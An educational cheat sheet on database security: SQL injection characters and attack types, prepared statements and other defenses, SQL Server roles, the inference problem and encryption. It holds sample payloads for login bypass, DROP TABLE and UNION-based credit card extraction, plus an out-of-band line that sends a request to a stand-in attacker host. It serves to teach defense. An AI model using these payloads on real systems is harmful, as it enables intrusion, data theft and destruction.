Chapter 11 — Database Security Cheat Sheet
Chapter 11 — Database Security Cheat Sheet
1. SQL Injection (SQLi) — Core Concepts
SQL Injection — Inserting or "injecting" malicious SQL code into an input field so it is executed by the database.
Root Cause — User input is concatenated directly into a SQL string instead of being treated as data.
2. SQL Injection Characters
| Character | Meaning |
|---|---|
' or " | String delimiter / string indicator |
-- or # | Single-line comment (ignores rest of line) |
/* … */ | Multi-line comment |
; | End of statement (enables piggybacking) |
+ | Addition / concatenation (or space in URL) |
|| | Double-pipe — concatenation |
% | Wildcard attribute indicator |
Special Character Meanings
| Character | Meaning |
|---|---|
' | String delimiter |
" | Identifier / string (DB-dependent) |
-- | Comment |
; | End of statement |
3. Injection via Single Quote '
Three-step process:
- Terminate the original string
- Inject additional SQL logic
- Bypass authentication or extract data
Example 1 — Comment Bypass
-- Normal query:
SELECT * FROM users WHERE username = 'admin' AND password = 'pass';
-- Injected input: username = admin' --
SELECT * FROM users WHERE username = 'admin' --' AND password = 'pass';
-- Everything after -- is ignored → password check bypassed
Example 2 — Always-True (Tautology)
-- Input: username = ' OR '1'='1 / password = ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
-- '1'='1' is always true → returns ALL rows
Example 3 — Injecting Through Strings
formusr = ' or 1=1 --
formpwd = anything
→ SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
Example 4 — Comment Drops Condition
-- Normal:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
-- Injected: category = Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
-- Result: released=1 condition bypassed; all Gifts shown
4. Common SQLi Patterns
' OR '1'='1
' OR 1=1--
' UNION SELECT ...
' DROP TABLE users--
admin' --
admin' #
admin'/*
1' AND 1=1 --
' OR EXISTS(SELECT * FROM users) --
' AND (SELECT COUNT(*) FROM users) > 0 --
5. What Attackers Can Do via SQLi
- Add data — INSERT malicious records
- Modify data — UPDATE prices, passwords, etc.
- Delete data — DROP TABLE (entire table destroyed)
- Obtain credentials — Gain access to other users' accounts
Malicious DROP Example
-- Input: blah '; DROP TABLE prodinfo; --
SELECT prodinfo FROM prodtable WHERE prodname = 'blah'; DROP TABLE prodinfo; --'
-- Entire table is deleted
6. SQLi Attack Avenues
| Avenue | Description |
|---|---|
| User input | Crafted input in form fields |
| Server variables | Forged HTTP/network headers |
| Second-order injection | Stored safe, triggered later |
| Cookies | Altered cookies used in queries |
| Physical user input | Attacks outside web requests |
7. SQLi Attack Types
Inband Attacks
Uses the same channel to inject and retrieve data. Results appear directly in the web page.
| Type | Description |
|---|---|
| Tautology | Injects always-true conditions (OR '1'='1') to bypass WHERE clause |
| End-of-Line Comment | Uses -- to nullify rest of query |
| Piggybacked Queries | Appends extra queries via ; |
Tautology Example:
SELECT * FROM users WHERE name = '' OR '1'='1';
End-of-Line Comment Example:
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Piggybacked Query Example:
SELECT * FROM customers; TRUNCATE TABLE customers;
Union SQL Injection:
-- Original:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
-- Injected: $id = 1 UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable
Inferential (Blind) Attacks
No actual data transferred — attacker reconstructs information by observing behavior.
| Type | Description |
|---|---|
| Illegal/Logically Incorrect Queries | Error messages reveal DB structure (preliminary/info-gathering step) |
| Blind SQLi | No output visible; attacker infers from app behavior |
Boolean-Based Blind SQLi
-- Test: ?id=5 AND 1=1 → page loads normally ✓
-- Test: ?id=5 AND 1=2 → page shows error ✗
-- Inference: DB is processing conditions
-- Extract version: ?id=5 AND (SELECT SUBSTRING(version(),1,1))='5'
-- → Brute-force character by character
Time-Based Blind SQLi
-- Test: ?id=5 AND SLEEP(5)
-- If page pauses 5 seconds → injection works
-- Extract DB name: ?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)
-- If pauses → first letter is 's'; repeat for each character
Out-of-Band (OOB) Attacks
Attacker doesn't get results in the response — instead triggers DB to send data to an attacker-controlled server via DNS/HTTP.
Used when: App shows no errors/results, but DB supports external network interactions.
| Channel | Description |
|---|---|
| DNS | DB triggers DNS request; attacker sees subdomain |
| HTTP | DB sends data via UTL_HTTP, xp_dirtree |
| File | DB reads/writes files on attacker's server |
| (Rare) Triggers email to attacker |
OOB-Capable Functions by DBMS:
| DBMS | Functions |
|---|---|
| MySQL | LOAD_FILE(), INTO OUTFILE, DNS via UNC path |
| SQL Server | xp_dirtree, xp_cmdshell, OPENROWSET |
| Oracle | UTL_HTTP, UTL_INADDR, DBMS_LDAP |
| PostgreSQL | COPY TO PROGRAM, COPY FROM PROGRAM, dblink |
DNS-Based OOB Example (MySQL):
-- Query: SELECT * FROM users WHERE id = '$id';
-- Malicious input: 1; SELECT LOAD_FILE('\\attacker.com\share');
-- → DB resolves UNC path → DNS/HTTP request sent to attacker.com
Second-Order SQL Injection
Malicious input is stored safely but triggered later when retrieved and used unsafely in another query.
| Step | What Happens |
|---|---|
| 1. Input stored | Attacker injects payload into a form |
| 2. App stores it | Saved in DB with no immediate issue |
| 3. Re-used later | App uses stored value in another query unsafely |
| 4. Injection fires | SQL injection happens — delayed but deadly |
-- Step 1: User registers with name: John'; DROP TABLE users; --
INSERT INTO users (name) VALUES ('John''; DROP TABLE users; --'); -- stored safely
-- Step 2: App later retrieves name and builds query unsafely:
query = "SELECT * FROM users WHERE name = '" + stored_name + "'";
-- Becomes: SELECT * FROM users WHERE name = 'John'; DROP TABLE users; --'
-- BOOM! Table dropped.
8. SQL Escape Characters (Full Table)
| Escape Sequence | Character |
|---|---|
\0 | ASCII NUL (x'00') |
\' | Single quote ' |
\" | Double quote " |
\b | Backspace |
\n | Newline (linefeed) |
\r | Carriage return |
\t | Tab |
\z | ASCII 26 (Control+Z) |
\\ | Backslash \ |
\% | Percent % |
\_ | Underscore _ |
Common SQL Escape Characters (Quick Reference)
| Character | Escaped As | Meaning |
|---|---|---|
' | '' | Escapes a single quote |
" | \" or "" | Escapes a double quote |
\ | \\ | Escapes a backslash |
% and _ | \% and \_ | Escaped in LIKE queries |
Escaping Example:
-- User enters: O'Reilly
-- Breaks: SELECT * FROM authors WHERE name = 'O'Reilly';
-- Fixed: SELECT * FROM authors WHERE name = 'O''Reilly';
9. SQLi Prevention — Primary Defenses
Option 1: Prepared Statements (Parameterized Queries) — BEST DEFENSE
Key concept: SQL query is predefined; user input inserted safely as data, not as executable SQL.
# Python (sqlite3)
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
// Java (JDBC)
String query = "SELECT Name, Salary FROM Employee WHERE Salary > ?";
PreparedStatement pstmt = con.prepareStatement(query);
pstmt.setInt(1, 50000);
ResultSet rs = pstmt.executeQuery();
// PHP (PDO)
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");
$sth->execute($email);
How it prevents attacks: SQL is parsed/compiled first; parameter values are combined with the compiled statement, not a SQL string. Even tom' or '1'='1 is treated as a literal string.
Prepared Statement vs Bound Variable:
- Prepared statement = precompiled SQL query with placeholders (
?) - Bound variable = safe values inserted into those placeholders
- Together → SQL injection-proof
Prepared Statements Across Languages
| Language | Explicit Prepared Statement? |
|---|---|
| Java (JDBC) | YES (PreparedStatement) |
| Python (sqlite3, psycopg2) | Hidden (handled by execute()) |
| PHP (PDO) | YES (prepare()) |
| Node.js (pg, mysql2) | Depends (often implicit) |
Option 2: Stored Procedures
Option 3: Allow-list Input Validation
- Validate syntax of input (email, dates, part numbers)
- Exclude quotes and semicolons where possible
- Set length limits on input (many attacks depend on long strings)
Option 4: Escaping All User-Supplied Input
- Use
mysql_real_escape_string()(preferred in MySQL) - Escape:
'→\'and"→\" - In MySQL (with
NO_BACKSLASH_ESCAPESdisabled), backslash is the escape character
Additional Defenses
| Defense | Details |
|---|---|
| Least Privilege | Connect as read-only user if only reading; never connect as DB admin in web app |
| Scan query strings | Check for SQL keywords (INSERT, DROP) and validate |
| Limit DB permissions | Segregate users by role |
| Configure error reporting | Never expose table/field names to users |
| Use WAF | Web Application Firewall (layer 7 protection) |
| Vulnerability scanners | e.g., sqlmap — open-source penetration testing tool |
WAF Options:
- ModSecurity — popular open-source WAF (TrustWave)
- NGINX WAF — based on ModSecurity, has audit logging UI
10. SQLi Countermeasures (Three Types)
| Type | Methods |
|---|---|
| Defensive Coding | Manual defensive coding, parameterized query insertion, SQL DOM |
| Detection | Signature-based, anomaly-based, code analysis |
| Run-time Prevention | Check queries at runtime against model of expected queries |
11. Database Access Control
Access Control System determines:
- Whether user has access to the entire DB or portions
- What access rights the user has (CREATE, INSERT, DELETE, UPDATE, READ, WRITE)
Administrative Policies
| Policy | Description |
|---|---|
| Centralized | Small number of privileged users grant/revoke rights |
| Ownership-based | Creator of table may grant/revoke access |
| Decentralized | Owner may grant/revoke authorization rights to others |
SQL Access Control Commands
GRANT <privilege> ON <object> TO <user>; -- grant access
REVOKE <privilege> ON <object> FROM <user>; -- remove access
Typical access rights: SELECT, INSERT, UPDATE, DELETE, REFERENCES
12. Role-Based Access Control (RBAC)
RBAC eases administrative burden and improves security.
DB RBAC Capabilities:
- Create and delete roles
- Define permissions for a role
- Assign and cancel assignment of users to roles
Categories of Database Users
| Category | Description |
|---|---|
| Application Owner | End user who owns DB objects as part of an application |
| End User | Operates on DB objects via application; does not own them |
| Administrator | Has administrative responsibility for part/all of the DB |
Fixed Roles in Microsoft SQL Server
Fixed Server Roles:
| Role | Permissions |
|---|---|
sysadmin | Complete control over all DB functions |
serveradmin | Set server-wide config, shut down server |
setupadmin | Manage linked servers and startup procedures |
securityadmin | Manage logins, CREATE DATABASE permissions, change passwords |
processadmin | Manage processes running in SQL Server |
dbcreator | Create, alter, and drop databases |
diskadmin | Manage disk files |
bulkadmin | Execute BULK INSERT statements |
Fixed Database Roles:
| Role | Permissions |
|---|---|
db_owner | All permissions in the database |
db_accessadmin | Add or remove user IDs |
db_datareader | SELECT all data from any user table |
db_datawriter | Modify any data in any user table |
db_ddladmin | Issue all DDL statements |
db_securityadmin | Manage all permissions, roles, role memberships |
db_backupoperator | Issue DBCC, CHECKPOINT, BACKUP statements |
db_denydatareader | Deny permission to SELECT data |
db_denydatawriter | Deny permission to change data |
13. DB Access Control — Types of Security Controls
| Preventative | Detective | Corrective | |
|---|---|---|---|
| Physical | Fences, Gates, Locks | CCTV, Surveillance | Repair damage, Re-issue access cards |
| Technical | Firewall, IPS, MFA, Antivirus | IDS, Honeypots | Vulnerability patching, Quarantine |
| Administrative | Hiring/Termination policies, Separation of duties | Review access rights, Audit logs | Business Continuity Plan, Incident Response |
14. DB Inference Problem
Definition: Performing authorized queries and deducing unauthorized information from the legitimate responses.
Inference problem arises when:
- Combination of data items is more sensitive than individual items
- Combination can be used to infer data of higher sensitivity
Key Terms:
- Metadata — knowledge about correlations/dependencies among data items used to deduce unavailable information
- Inference channel — the information transfer path by which unauthorized data is obtained
Inference Detection — Two Approaches
| Approach | Description |
|---|---|
| During database design | Remove inference channel by altering DB structure or changing access control regime; may result in unnecessarily strict controls |
| At query time | Eliminate inference channel violation during a query; if detected, query is denied or altered |
15. Database Encryption
Encryption = last line of defense in database security.
Security layers (outermost to innermost): Firewalls → Authentication → General Access Control → DB Access Control → Database Encryption
Can be applied at:
- Entire database level
- Record level
- Attribute level
- Individual field level
Disadvantages:
| Disadvantage | Explanation |
|---|---|
| Key management | Authorized users must have access to the correct decryption key |
| Inflexibility | Encrypted data is harder to search/index |
Encryption Scheme Roles
| Role | Description |
|---|---|
| Data Owner | Organization that produces data for controlled release |
| User | Human entity that presents queries to the system |
| Client | Frontend that transforms user queries into queries on encrypted data stored on the server |
| Server | Organization that receives encrypted data from owner and makes it available to clients |
16. Quick Reference Summary
SQLi Attack Type Comparison
| Type | Channel | Visibility | Key Technique |
|---|---|---|---|
| Inband — Tautology | Same | Results visible | OR '1'='1' |
| Inband — Comment | Same | Results visible | -- to nullify rest |
| Inband — Piggybacked | Same | Results visible | ; to chain queries |
| Inband — UNION | Same | Results visible | UNION SELECT to join tables |
| Inferential — Boolean Blind | Same | No output | TRUE/FALSE responses |
| Inferential — Time-Based Blind | Same | No output | SLEEP() delays |
| Out-of-Band | Different | No output | DNS/HTTP exfiltration |
| Second-Order | Stored | Delayed | Stored payload, triggered later |
Defense Priority
- Prepared Statements / Parameterized Queries (primary)
- Stored Procedures (primary)
- Allow-list Input Validation (primary)
- Escape All User Input (primary)
- Least Privilege DB Accounts (additional)
- WAF (additional)
- Vulnerability Scanners (e.g., sqlmap)
- Error Message Hardening (never expose table/field names)